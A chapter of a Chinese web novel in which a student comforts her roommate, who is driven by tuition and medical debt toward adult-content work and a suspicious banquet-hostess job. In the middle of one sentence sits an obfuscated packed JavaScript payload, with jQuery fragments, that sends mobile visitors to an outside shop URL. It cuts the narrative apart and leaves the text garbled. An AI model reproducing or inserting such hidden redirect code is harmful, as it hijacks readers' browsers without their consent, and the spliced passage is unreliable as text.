已近午夜,枫树街的街灯亮得稀稀拉拉。苏珊的小屋亮着灯,林筱筱快步往回走,路过隔壁院子时看到门廊上坐着一个人。
马库斯坐在自家门口的折叠椅上,他穿了件居家的旧T恤,手里握着一罐已经不怎么冰的啤酒,他一直看着街角的方向,确认走过来的是林筱筱后,肩膀几不可察地松了一下。
林筱筱在他的院子前面前停下:“晚上好啊马库斯先生,在乘凉吗?”
“对,”马库斯站起来,把折叠椅往门廊里收了收,“今晚挺热的,我刚喝完这罐啤酒,正准备回去。”
林筱筱扫了一眼他的信息面板:【…获悉你深夜未归,有些担心,以乘凉为由在门口等候】。
他只是想确定她安全回来,然后就可以回屋睡觉了。
林筱筱勾了勾唇角,关心地问了一句:“腰还疼吗?”
“不疼了,”马库斯说,想了想又补了句,“我有朋友听说你可以帮忙祈福,希望你有空的时候可以帮一帮他们,他们可以付祈福的报酬。”
林筱筱很爽快:“没问题,这个周末就可以。”
帮人疗愈什么的,她最喜欢了,又能赚钱又能抽技能,代价只是区区一点精神值,何乐而不为呢?!
“好,我先替他们谢谢你的慷慨。”马库斯朝她挥了挥手,“很晚了,祝你今晚好梦,晚安。”
“晚安。”
林筱筱走进苏珊的小屋上了三楼,推开阁楼自己房间的门。
她放下包包,看了一眼对面的门,艾拉房间的灯光从门缝透出来,还能听见吊扇咯吱咯吱的声响。
林筱筱犹豫了下,还是走过去敲了敲门。
“进来。”
林筱筱推开门,便看到艾拉坐在床边,正不太走心地擦着头发,她已经换下了那身职业套装,套着一件洗到发白的旧T恤,屏幕黑着的手机被她丢在一边,整个人背对着门,仿佛一个毫无生气的躯壳。
艾拉转头朝她勉强笑了笑:“回来了?这么晚,很累了吧……”
“你看上去更累。”林筱筱拉过一把椅子坐到艾拉对面,“今天做什么去了?”
“面试,”艾拉手指无意识地绞着毛巾的一角,“兼职面试。”
林筱筱盯着她:“什么样的兼职?”
艾拉沉默了几秒。吊扇咯吱咯吱地转,把她半干的头发吹得更加散乱。
她低下头,把手机拿过来点亮屏幕,上面是一个粉色背景白色字体的网站注册页面。
她什么都没说,但林筱筱已经看清了那个网站的名字。
欧丽凡思…
“咱们学校其实有很多女生都在这个网站上开了账号,”艾拉没有抬头,声音很轻,“隔壁法学系的南方女孩,上学期还和我一起在图书馆通宵,现在已经不来了。”
“她退学了。不是因为成绩,她的成绩比我好很多。
因为她的账号赚了太多钱,多到社区大学的毕业证看起来像个笑话。”
“艾拉…”
“我本来只是去面试别的兼职,”艾拉打断她,语气忽然快了起来,仿佛这些话憋了很久,一旦开了口就不敢停下来,“他们给我看了一份合同。说是不用露脸,只拍颈部以下,每周更新五天,发满三组照片两个视频就可以!”
“林,你知道合同上的金额是多少吗?签约费是我在麦当劳站一年才能赚到的钱。一年的工资,两个月就能拿到!只要我不露脸,只要我不说这是我的身体。而且之后还有每月流水分成!”
林筱筱没有说话,只是坐在那里,有些心疼地看着艾拉。
“我们学校的学费每年都在涨,”艾拉把手机翻过去扣在床上,像是多看一眼都会烫到自己,“教材费、实验室使用费、保险费。学期开始的时候我去书店看了我们专业这学期的三本教材,旧书店的二手版都被抢光了。新书一本两百刀,打完税两百二十三。我算了一下,就算我连续卖血半个月,拿到的钱还不够我买了这三本书。所以我没买,我去图书馆借,但图书馆只进了两本,而且都被借走了。他们说我可以排到第三位,但是要等一个月…等一个月啊,一个月之后期中考试都快来了。”
她说完这段话,用手捂住了眼睛。
林筱筱:“你可以跟我说。”
“跟你说什么?”艾拉抬起头看她,眼眶发红,“你有钱吗?你的账户余额……”她说到一半停住了,但林筱筱知道她想说什么。原主的账户余额一直是负数,艾拉大概只是出于礼貌没有把那个数字念出来。
“这个月房租我帮你想办法,”林筱筱把声音放得很轻很稳,“你先不要签约。”
“你不可能一直帮我。”艾拉摇了摇头,声音开始发抖,“林,我爸妈在俄亥俄。我妈在沃尔玛收银,我爸去年心脏出了问题。他在一家汽修厂工作了十七年,去年心脏出了问题。厂里说这不是工伤,保险公司拒绝理赔。他做了两次手术,保险报了一部分,剩下那部分我们家还了半年,现在还在还。我还有个妹妹在读高中,她今年的校车费是妈妈卖血凑的。家里这个情况,我没有办法跟家里开口,我没有办法…”
她的眼泪终于从眼眶里溢出来,她用手指抹掉,泪水又继续流淌下来,她再抹掉,像是在重复一个自己都不相信能停下来的动作。
“我从高中开始打工。所有科目都是A,我拿到了奖学金,申请到了社区大学。我以为只要我够努力,就可以靠成绩和奖学金改变一切,”艾拉抹着眼泪说道,“但今天我发现,我这辈子最努力的结果,都打不过一张信用卡账单。学校只会问你收钱,你没钱的时候它就让你去贷款,那些贷款你一辈子都还不清,你背着它,眼睁睁地看着它越变越大,然后死死地压在自己身上,让你喘不上气…”
她深吸一口气,胡乱把眼泪擦掉,声音终于稳了一点。
“这里是美丽国,林。你知道的,这里的人如果没有办法生存下去,就活该被淘汰,甚至不会有人对你感到惋惜。”
“林,我不甘心,我不想被淘汰。”说完这一句,艾拉终于哭出了声。
林筱筱握着她的手,慢慢帮她顺着后背,她想释放控感技能来安抚艾拉的情绪,但是转念一想,这短暂的安抚其实解决不了任何问题
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17678389|207597||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,反而像是一种自欺欺人。
等艾拉哭声渐缓,林筱筱才开口问道:“所以,你签约了吗?”
艾拉仰起头,嘴角扯出一个苦涩到极点的弧度:“没有,不是我不想签,而是他们拒绝了我。”
“林,你知道他们拒绝的原因吗?”
艾拉露出好笑的神情,仿佛再说一件别人身上有意思的事情:“因为我是处女!他们不要处女!”
“?”林筱筱却涌起不好的预感。
“他们给我介绍了另一家公司,”艾拉摸过桌子上的一张名片递给林筱筱,“他们说这家专门承包高级宴会,对服务员的要求比较高,首选‘纯洁的女孩’。哦,林,不要这么看着我,这是他们的原话,他们说话很直接,说有些有头有脸的人有些特殊的嗜好,喜欢在宴会上看到干净且未经世事的面孔。他们还保证,这不是出卖身体,只是卖一种象征。”
名片是浅金色的,上面用洒金墨水印着“银白面纱宴会服务公司”,下面是一行小字:“专为顶级私人宴会提供优质服务人员”。
林筱筱拿着名片,只觉告诉她,这里的水比欧丽凡思还要深。
“明天下午。他们在一个酒店包了会议厅,统一面试。”艾拉从她手里把名片抽回来,翻了个面放在床头柜上,“你放心,我有底线。如果发现不对,我会拒绝。我只是去看一看。”
“你要去?”林筱筱皱眉,“艾拉,就算你发现不对,你觉得自己还能出来吗?”
艾拉没有回答。
沉默持续了一会儿,艾拉终于站起来走到自己床边,从枕头下面拿出一个信封。
她打开,里面是一叠钞票。
“感谢苏珊的宽限,这个月房租我终于凑够了,”她把信封放在桌上,“但是下个月我准备退租。五百刀对我来说还是太贵。学校东边有个街区,虽然房子老一点,但是合租的话大概只要两百。”
林筱筱脑子里立刻闪过那个街区的名字。在原身的记忆里,那里经常发生枪击案、入室盗窃、帮派活动等等治安问题。
“艾拉,”她正色道,“你是我在这里最好的朋友,我不想你坠入深渊。其实你也知道,不管是欧丽凡思还是银白面纱,他们想要的都是你的身体,可以供他们玩乐的身体。”
艾拉咬着唇,把脸别到一边:“可是,我没有别的办法了……”
“我有办法,”林筱筱正色道,“教授让我帮他教同学数学,我一个人力不从心,希望你能帮我,教授给我的授课费我可以跟你一人一半!”
艾拉看着她,张了张嘴,却说不出拒绝的话。
一人一半,只是一个月一百的收入,而已。
林筱筱脑子快速转动:“还有……我还有别的办法,但是你给我时间,先答应我,明天不要去面试,好吗?”
她是真怕艾拉出事,尤其是今晚之后,她觉得金永秀和那个什么教会已经盯上了她,她周围的人也不再绝对安全。
艾拉的手被林筱筱紧紧地攥着,她的眼泪再次滴落下来,良久,她终于点了点头。
“谢谢你,林。”